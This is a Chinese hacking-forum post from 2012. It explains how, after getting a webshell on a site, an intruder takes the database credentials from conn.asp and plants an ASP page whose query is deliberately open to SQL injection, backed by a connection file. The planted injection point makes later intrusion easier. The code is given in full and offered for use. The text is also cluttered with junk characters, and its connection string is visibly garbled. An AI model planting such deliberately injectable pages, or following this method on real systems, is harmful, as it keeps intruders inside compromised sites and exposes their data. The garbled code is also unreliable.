找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1726|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵2 o$ E6 L+ s+ E  Y0 |
; n5 a6 _9 B( B0 Y
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
% M* Y8 ?; N4 T6 B& ~- Q6 `0 m$ g: P/ r! x% Y; o0 a
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
9 f/ v& a# i5 H, _5 }% J4 ?0 R: Z) x4 s8 F* _4 N' B8 v9 `2 d7 l
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和
7 \/ Y4 G) `/ u3 X  }9 U/ f- c( Z7 p
9 G; G) C" e" x7 U; [密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表
$ h! S5 V! K- j8 c( h& y; y% Y; {% K
$ K. C) _8 G5 ]: d3 y因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:: _' X8 Q" E/ q4 i) p  V$ d
) a6 A; f+ y0 L; n! @7 Y7 ?! F, Y2 R
程序代码. G' ]' K2 E, Z! c2 Q8 g: L/ W
<!--#include file="xx.asp"-->9 h. A& M1 l7 Z3 _  W
<%
$ Y8 [( g! T# `  `# Kset rs=server.createobject("ADODB.recordset")
  z  P  ^0 P0 G! g% J; y: @id = request("id")
$ c; s7 A  l# q6 a) F3 x! rstrSQL = "select * from admin where id=" & id
  w+ J' L' R& X6 c- y" N/ D; wrs.open strSQL,conn,1,3
" o! ?7 F' S% t( k% R; v& Y; Lrs.close
' b: ~6 P( E" I* S' r& k%>1 |; g* ~/ M' d3 Z; A" i

* C0 ^" e4 O; z1 Y7 A% L6 T把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在0 o2 B) E4 q8 d6 Y; U

! V( _" T8 s  R" l# J你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!9 c2 Z/ I; h  P% n/ ?9 n# @! V
& u' Y% h  Q* Q3 `9 V& `
然后就要构造一个连接数据库的文件了,代码如下:( n$ s" m2 I4 {* D" K4 a+ M% e
程序代码
' n  [  |1 p- a: l  a" e( ^) P7 A<%        $ C" K/ w$ |( }9 K/ J
strSQLServerName = "000.000.000.000"     '服务器名称或地址
: ^0 H- Z5 ^3 R& n. N$ f3 O, g( PstrSQLDBUserName = "sqlname"         '数据库帐号
/ P& _. K; S5 wstrSQLDBPassword = "sqlpass"         '数据库密码* ?0 J  ?; B# C, J- l9 d8 g6 K! j
strSQLDBName = "sqldataname"           '数据库名称
6 }( Y0 i9 _7 N3 r5 r" M  [Set conn = Server.CreateObject("ADODB.Connection")+ _( X9 {$ x6 n2 t7 g9 s0 X4 b" F
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"% Y" {4 w! ?% Y/ W4 Y
conn.open strCon
5 e# Z, m8 V( E) [. E5 w%>
2 d) s* e  T% K5 o8 U
0 [# D2 \9 O5 T0 s这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
+ r: ], a: y$ Q* B+ c/ |, L5 Y! w! J( s
就这样,正常情况下,就OK了,伪造成功……- a: R( v, r+ L% g3 Z

; `1 K3 d7 S: P           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表